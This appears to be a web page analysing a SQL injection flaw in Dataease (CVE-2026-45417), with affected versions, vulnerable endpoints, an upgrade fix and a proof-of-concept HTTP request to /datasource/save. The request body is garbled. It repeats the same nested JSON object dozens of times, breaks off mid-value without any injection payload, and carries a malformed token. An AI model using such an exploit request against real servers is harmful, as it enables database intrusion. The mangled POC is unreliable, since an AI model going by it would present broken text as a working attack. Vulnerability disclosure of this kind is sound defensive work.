Dataease SQL Injection Vulnerability (CVE-2026-45417) Analysis and POC

SQL Injection Vulnerability Summary Vulnerability Overview Vulnerability Name: SQL injection vulnerability CVE ID: CVE-2026-45417 Severity: High Publication Date: May 28 Affected Versions: < 2.10.23 Fixed Version: 2.10.23 Impact Scope Package: io.dataease (Maven) Affected Paths: - Path 1: Call Stack (No echo / Blind injection scenario) - POST /datasource/validate - validate() - checkDataSourceStatus() - checkStatus() - getTablesSql() - SQL injection execution - Path 2: Call Stack (With echo, results visible directly) - POST /datasource/save - checkDataSourceStatus() - checkStatus() - getTablesSql() - POST /datasource/getTables - CalciteProvider.getTables() Remediation Recommended Action: Upgrade to version 2.10.23 or higher. POC Code ```http POST /datasource/save HTTP/1.1 Host: x:8100 Referer: http://x:8100/ Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 Origin: http://x:8100 X-DE-TOKEN: eyJ0XA0U12WQ1lCJ0J6U21N1J9.eyJkaWJlYjE5MjI0MjI2NwJ0vZwK615K1t1Q_KKRI9M3612240M9P Accept-Language: zh-CN Accept: application/json, text/plain, / Content-Length: 787 {"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488","name":"aaa","description":"","type":"DB2","apiConfiguration":"","paramsConfiguration":{"id":"1248091460342975488

Goal Reached Thanks to every supporter — we hit 100%!

Dataease SQL Injection Vulnerability (CVE-2026-45417) Analysis and POC

More from this source